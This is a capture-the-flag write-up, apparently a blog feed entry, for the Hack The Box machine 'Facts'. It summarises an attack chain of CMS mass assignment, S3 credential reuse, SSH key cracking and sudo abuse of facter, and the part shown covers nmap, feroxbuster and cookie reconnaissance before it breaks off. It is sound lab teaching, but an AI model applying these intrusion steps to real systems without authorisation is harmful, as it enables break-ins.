<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://0xdf.gitlab.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://0xdf.gitlab.io/" rel="alternate" type="text/html" /><updated>2026-06-08T10:46:20+00:00</updated><id>https://0xdf.gitlab.io/feed.xml</id><title type="html">0xdf hacks stuff</title><subtitle>CTF solutions, malware analysis, home lab development</subtitle><entry><title type="html">HTB: Facts</title><link href="https://0xdf.gitlab.io/2026/06/06/htb-facts.html" rel="alternate" type="text/html" title="HTB: Facts" /><published>2026-06-06T13:45:00+00:00</published><updated>2026-06-06T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/06/06/htb-facts</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/06/06/htb-facts.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/facts-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/facts-cover.png" alt="Facts" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Facts is a Linux box hosting a trivia website built on the Camaleon CMS, a Ruby on Rails application. I’ll abuse a mass assignment vulnerability in Camaleon to promote my account to administrator, then use credentials from the admin panel to authenticate to a local MinIO S3 service. From the bucket I’ll grab an encrypted SSH private key, crack its passphrase with john, and SSH in as the next user. For root, I’ll abuse a sudo rule on facter, Puppet’s system inventory tool, that lets me load arbitrary Ruby code from a custom facts directory and run it as root. In Beyond Root, I’ll show an alternative foothold using a path traversal in Camaleon’s S3 uploader to read arbitrary files, and use the leaked Rails master key to decrypt the application’s encrypted credentials and session cookies.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/829 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/facts" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-facts.webp" />
          <img src="/icons/box-facts.png" alt="Facts" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/facts" target="_blank" class="htb-box-name">Facts</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Easy">
      Easy
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/2017296790945517839">31 Jan 2026</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">06 Jun 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/facts-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/facts-diff.png" alt="Rated difficulty for Facts" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/facts-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/facts-radar.png" alt="Radar chart for Facts" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:15:52</span></span><a href="https://app.hackthebox.com/users/588513" target="_blank" rel="noopener"><img alt="Opcode" src="https://www.hackthebox.com/badge/image/588513" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Opcode</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:26:34</span></span><a href="https://app.hackthebox.com/users/1516109" target="_blank" rel="noopener"><img alt="Neospring" src="https://www.hackthebox.com/badge/image/1516109" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Neospring</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/512308" target="_blank" rel="noopener"><img alt="LazyTitan33" src="https://www.hackthebox.com/badge/image/512308" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> LazyTitan33</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds three open TCP ports, SSH (22) and two HTTP (80, 54321):</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="1000"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">--reason</span> <span class="nt">--min-rate</span> 10000 10.129.244.96
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-28 01:19 UTC
Nmap scan report for 10.129.244.96
Host is up, received reset ttl 63 (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
54321/tcp open  unknown syn-ack ttl 62

Nmap done: 1 IP address (1 host up) scanned in 7.11 seconds
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22,80,54321 <span class="nt">-sCV</span> 10.129.244.96
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-28 01:20 UTC
Nmap scan report for 10.129.244.96
Host is up (0.021s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open  unknown
| fingerprint-strings:
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18B396009572E4FA
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Thu, 28 May 2026 01:20:06 GMT
|     &lt;?xml version="1.0" encoding="UTF-8"?&gt;
|     &lt;Error&gt;&lt;Code&gt;InvalidRequest&lt;/Code&gt;&lt;Message&gt;Invalid Request (invalid argument)&lt;/Message&gt;&lt;Resource&gt;/&lt;/Resource&gt;&lt;RequestId&gt;18B396009572E4FA&lt;/RequestId&gt;&lt;HostId&gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&lt;/HostId&gt;&lt;/Error&gt;
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Thu, 28 May 2026 01:20:07 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.94SVN%I=7%D=5/28%Time=6A179847%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\
SF:nAccept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20
SF:application/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20ma
SF:x-age=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\
SF:x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\n
SF:X-Amz-Request-Id:\x2018B396009572E4FA\r\nX-Content-Type-Options:\x20nos
SF:niff\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Thu,\x2028\x2
SF:0May\x202026\x2001:20:06\x20GMT\r\n\r\n&lt;\?xml\x20version=\"1\.0\"\x20en
SF:coding=\"UTF-8\"\?&gt;\n&lt;Error&gt;&lt;Code&gt;InvalidRequest&lt;/Code&gt;&lt;Message&gt;Invalid
SF:\x20Request\x20\(invalid\x20argument\)&lt;/Message&gt;&lt;Resource&gt;/&lt;/Resource&gt;&lt;
SF:RequestId&gt;18B396009572E4FA&lt;/RequestId&gt;&lt;HostId&gt;dd9025bab4ad464b049177c95
SF:eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&lt;/HostId&gt;&lt;/Error&gt;")%r(HTTPOption
SF:s,59,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Thu,\x2028\
SF:x20May\x202026\x2001:20:07\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(R
SF:TSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20
SF:close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.29 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH and Nginx</a> versions, the host is likely running Ubuntu 25.04 Plucky.</p>

<p>There’s one additional hop to get to the webserver on port 54321:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.244.96:80
<span class="go">Tracing ...T
TTL LFT trace to 10.129.244.96:80/tcp
 1  10.10.14.1 20.4ms
 2  [target open] 10.129.244.96:80 21.1ms
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>lft 10.129.244.96:54321
<span class="go">Tracing .....T
TTL LFT trace to 10.129.244.96:54321/tcp
 1  10.10.14.1 20.9ms
 2  10.129.244.96 20.8ms
 3  [target open] 10.129.244.96:54321 22.0ms
</span></code></pre></div></div>

<p>That implies it’s running in a container.</p>

<p>The other two ports show a TTL of 63, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away.</p>

<p>There’s a redirect to <code class="language-plaintext highlighter-rouge">facts.htb</code> on port 80. I’ll use <code class="language-plaintext highlighter-rouge">ffuf</code> to bruteforce for subdomains that respond differently, but not find any. I’ll update my <code class="language-plaintext highlighter-rouge">hosts</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.244.96 facts.htb
</code></pre></div></div>

<p>I’ll rescan ports 80 and 54321 by hostname rather than IP, but not find anything interesting.</p>

<p>The response headers on 54321 are interesting:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18B3968ACF933232    
</code></pre></div></div>

<p>These are Amazon headers.</p>

<h3 id="website---tcp-80">Website - TCP 80</h3>

<h4 id="site">Site</h4>

<p>The site is a trivia site:</p>

<div style="position: relative; min-height: 700px;">
    <picture>
        <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528201432333.webp" />
        <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528201432333.png" alt="image-20260528201432333" style="max-height: 700px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>Clicking “Start Exploring” leads to a fact page:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528201538512.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528201538512.png" alt="image-20260528201538512" class="include_image " />
</picture>

<p>There’s a search bar that leads to <code class="language-plaintext highlighter-rouge">/search?q=&lt;input&gt;</code>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528201606723.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528201606723.png" alt="image-20260528201606723" class="include_image " />
</picture>

<p>In the page footer there’s an email address, <code class="language-plaintext highlighter-rouge">contact@facts.htb</code>.</p>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show Nginx:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.26.3 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 28 May 2026 14:11:28 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">x-frame-options</span><span class="p">:</span> <span class="s">SAMEORIGIN</span>
<span class="na">x-xss-protection</span><span class="p">:</span> <span class="s">0</span>
<span class="na">x-content-type-options</span><span class="p">:</span> <span class="s">nosniff</span>
<span class="na">x-permitted-cross-domain-policies</span><span class="p">:</span> <span class="s">none</span>
<span class="na">referrer-policy</span><span class="p">:</span> <span class="s">strict-origin-when-cross-origin</span>
<span class="na">plugin_front_cache</span><span class="p">:</span> <span class="s">TRUE</span>
<span class="na">etag</span><span class="p">:</span> <span class="s">W/"ec7b9f9ae05e9e7a916fd89aef94bdbe"</span>
<span class="na">cache-control</span><span class="p">:</span> <span class="s">max-age=0, private, must-revalidate</span>
<span class="na">set-cookie</span><span class="p">:</span> <span class="s">_factsapp_session=EqcReSnq8LzlTyqcrCPC6vaFop1IY11%2Bv3AoEQIXgb7IcPl3BgBIhIKgtHyCMETEJpeu2qGfN2kWlJCQI4jKE3EQJhaGmXRRpQN%2Bwbtu%2FG%2FB8UcFv98jVxtK7qRLiNSS2YTn9c4wMc5PrT9JqyQm3DZUajxpQ%2BvtZh9DMR19F%2BDtnEzLTIoZOwHQUJhcLs1Yji5zzqafBkPQgmii5zmIM%2FvWqcWJHVu87LzlHuGIUNsbwVwvs7nRRvrOL%2FzYKPgDckkuKrURtVrBKkaWslZNbWfxf2BNl2L2aA%3D%3D--xoveJn%2BSqkJ9L2hb--lzt8APnecnCsWeOIfnf0tQ%3D%3D; path=/; httponly; samesite=lax</span>
<span class="na">x-request-id</span><span class="p">:</span> <span class="s">3c289058-124e-437b-9f0a-5c99fd0733b5</span>
<span class="na">x-runtime</span><span class="p">:</span> <span class="s">0.038416</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">11098</span>
</code></pre></div></div>

<p>There’s a cookie set, <code class="language-plaintext highlighter-rouge">_factsapp_session</code>. It’s URL-encoded, and the decode matches the format for a Ruby on Rails encrypted session cookie:</p>

<div class="language-plaintext wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code>EqcReSnq8LzlTyqcrCPC6vaFop1IY11%2Bv3AoEQIXgb7IcPl3BgBIhIKgtHyCMETEJpeu2qGfN2kWlJCQI4jKE3EQJhaGmXRRpQN%2Bwbtu%2FG%2FB8UcFv98jVxtK7qRLiNSS2YTn9c4wMc5PrT9JqyQm3DZUajxpQ%2BvtZh9DMR19F%2BDtnEzLTIoZOwHQUJhcLs1Yji5zzqafBkPQgmii5zmIM%2FvWqcWJHVu87LzlHuGIUNsbwVwvs7nRRvrOL%2FzYKPgDckkuKrURtVrBKkaWslZNbWfxf2BNl2L2aA%3D%3D--xoveJn%2BSqkJ9L2hb--lzt8APnecnCsWeOIfnf0tQ%3D%
</code></pre></div></div>

<p>The give-away is the three sections separated by <code class="language-plaintext highlighter-rouge">--</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;ciphertext&gt;--&lt;iv&gt;--&lt;auth_tag&gt;
</code></pre></div></div>

<ul>
  <li>Part 1 (long): AES-256-GCM encrypted session payload (a Marshal/JSON-serialized Ruby hash)</li>
  <li>Part 2 xoveJn+SqkJ9L2hb (12 bytes): the GCM IV/nonce</li>
  <li>Part 3 lzt8APnecnCsWeOIfnf0tQ== (16 bytes): the GCM authentication tag</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">/index.*</code> gives the index page, and the 404 page shows as part of the framework:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528202203341.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528202203341.png" alt="image-20260528202203341" class="include_image " />
</picture>

<p>Wappalyzer doesn’t add anything:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528202234546.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260528202234546.png" alt="image-20260528202234546" class="include_image " />
</picture>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">feroxbuster</code> against the site:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="600"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>feroxbuster <span class="nt">-u</span> http://facts.htb
<span class="go">
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://facts.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET      121l      443w        -c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET      124l      552w        -c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://facts.htb/admin =&gt; </span><span class="feroxbuster-yellow">http://facts.htb/admin/login</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       69l      448w    30396c http://facts.htb/randomfacts/logopage2.png
</span><span class="feroxbuster-green">200</span><span class="go">      GET       66l      519w    44082c http://facts.htb/randomfacts/primary-question-mark.png
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l        9w        -c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-red">403</span><span class="go">      GET        7l       10w      162c http://facts.htb/randomfacts/
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      353c http://facts.htb/randomfacts/Reports%20List
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      357c http://facts.htb/randomfacts/external%20files
</span><span class="feroxbuster-green">200</span><span class="go">      GET      271l     1166w    19187c http://facts.htb/search
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      355c http://facts.htb/randomfacts/Style%20Library
</span><span class="feroxbuster-green">200</span><span class="go">      GET      281l     1177w    19593c http://facts.htb/page
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      349c http://facts.htb/randomfacts/modern%20mom
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       13w      359c http://facts.htb/randomfacts/neuf%20giga%20photo
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      357c http://facts.htb/randomfacts/Web%20References
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      349c http://facts.htb/randomfacts/My%20Project
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      349c http://facts.htb/randomfacts/Contact%20Us
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      351c http://facts.htb/randomfacts/Donate%20Cash
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      347c http://facts.htb/randomfacts/Home%20Page
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      357c http://facts.htb/randomfacts/Planned%20Giving
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      357c http://facts.htb/randomfacts/Press%20Releases
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      357c http://facts.htb/randomfacts/Privacy%20Policy
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      345c http://facts.htb/randomfacts/Site%20Map
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      345c http://facts.htb/randomfacts/About%20Us
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      353c http://facts.htb/randomfacts/Bequest%20Gift
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      347c http://facts.htb/randomfacts/Gift%20Form
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       13w      361c http://facts.htb/randomfacts/Life%20Income%20Gift
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      349c http://facts.htb/randomfacts/New%20Folder
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       11w      351c http://facts.htb/randomfacts/Site%20Assets
</span><span class="feroxbuster-red">404</span><span class="go">      GET        2l       13w      351c http://facts.htb/randomfacts/What%20is%20New
</span><span class="feroxbuster-green">200</span><span class="go">      GET        1l        4w       73c http://facts.htb/up
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/~
</span><span class="feroxbuster-green">200</span><span class="go">      GET        1l        2w       33c http://facts.htb/robots
</span><span class="feroxbuster-red">404</span><span class="go">      GET      114l      371w     4836c http://facts.htb/Reports%20List
